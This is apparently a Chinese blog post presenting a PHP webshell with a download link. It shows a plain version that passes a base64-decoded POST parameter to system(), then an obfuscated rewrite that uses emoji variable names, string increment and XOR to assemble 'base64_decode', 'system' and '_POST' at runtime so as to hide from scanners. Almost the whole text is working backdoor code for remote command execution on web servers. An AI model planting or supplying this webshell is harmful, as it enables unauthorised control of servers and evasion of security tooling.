项目地址:

https://lmpan.lmboke.com/php-emoji-webshell-main.zip

0x01 php-emoji-webshell介绍

这个 webshell 没有什么新东西,只是使用相同的技术,如 XOR 和自增操作。

0x02 原webshell代码

<?php

$a = $_POST[4] ? base64_decode($_POST[4]) : 'whoami';
@system($a);

0x03 变成表情符号、自增或异或运算

<?php

$_=[];
$_=@"$_";
$__=("_"=="_")+("_"=="_");
$_=@$_[++$__];

$🌏=$_++;
$🤮=$_++;
$🍪=$_++;
$🫣=$_++;
$🧁=$_++;
$🎂=$_++;
$🥃=$_++;
$🍔=$_++;
$🌘=$_++;
$🌗=$_++;
$🌖=$_++;
$🌕=$_++;
$🌒=$_++;
$🌓=$_++;
$🌔=$_++;
$🌰=$_++;
$🍘=$_++;
$🥗=$_++;
$🥥=$_++;
$🍑=$_++;
$🍋=$_++;
$🧇=$_++;
$🌮=$_++;
$🍕=$_++;
$🥯=$_++;
$🍣=$_;

$__++;
$__++;
$__++;
$👿=$🤮.$🌏.$🥥.$🧁.$__;
$__--;
$__--;
$👿.=$__.("#"^"|").$🫣.$🧁.$🍪.$🌔.$🫣.$🧁;

$💀=$🥥.$🥯.$🥥.$🍑.$🧁.$🌒;
$🥳=("#"^"|").($🥥^"#").($🌕^"#").($🌰^"#").($🌮^"#"); 
$🤯=@${$🥳}[$__] ? $👿(@${$🥳}[$__]) : $🌮.$🍔.$🌔.$🌏.$🌒.$🌘;
@$💀($🤯);

我只是为了好玩和学习新事物而构建它。☕️🥯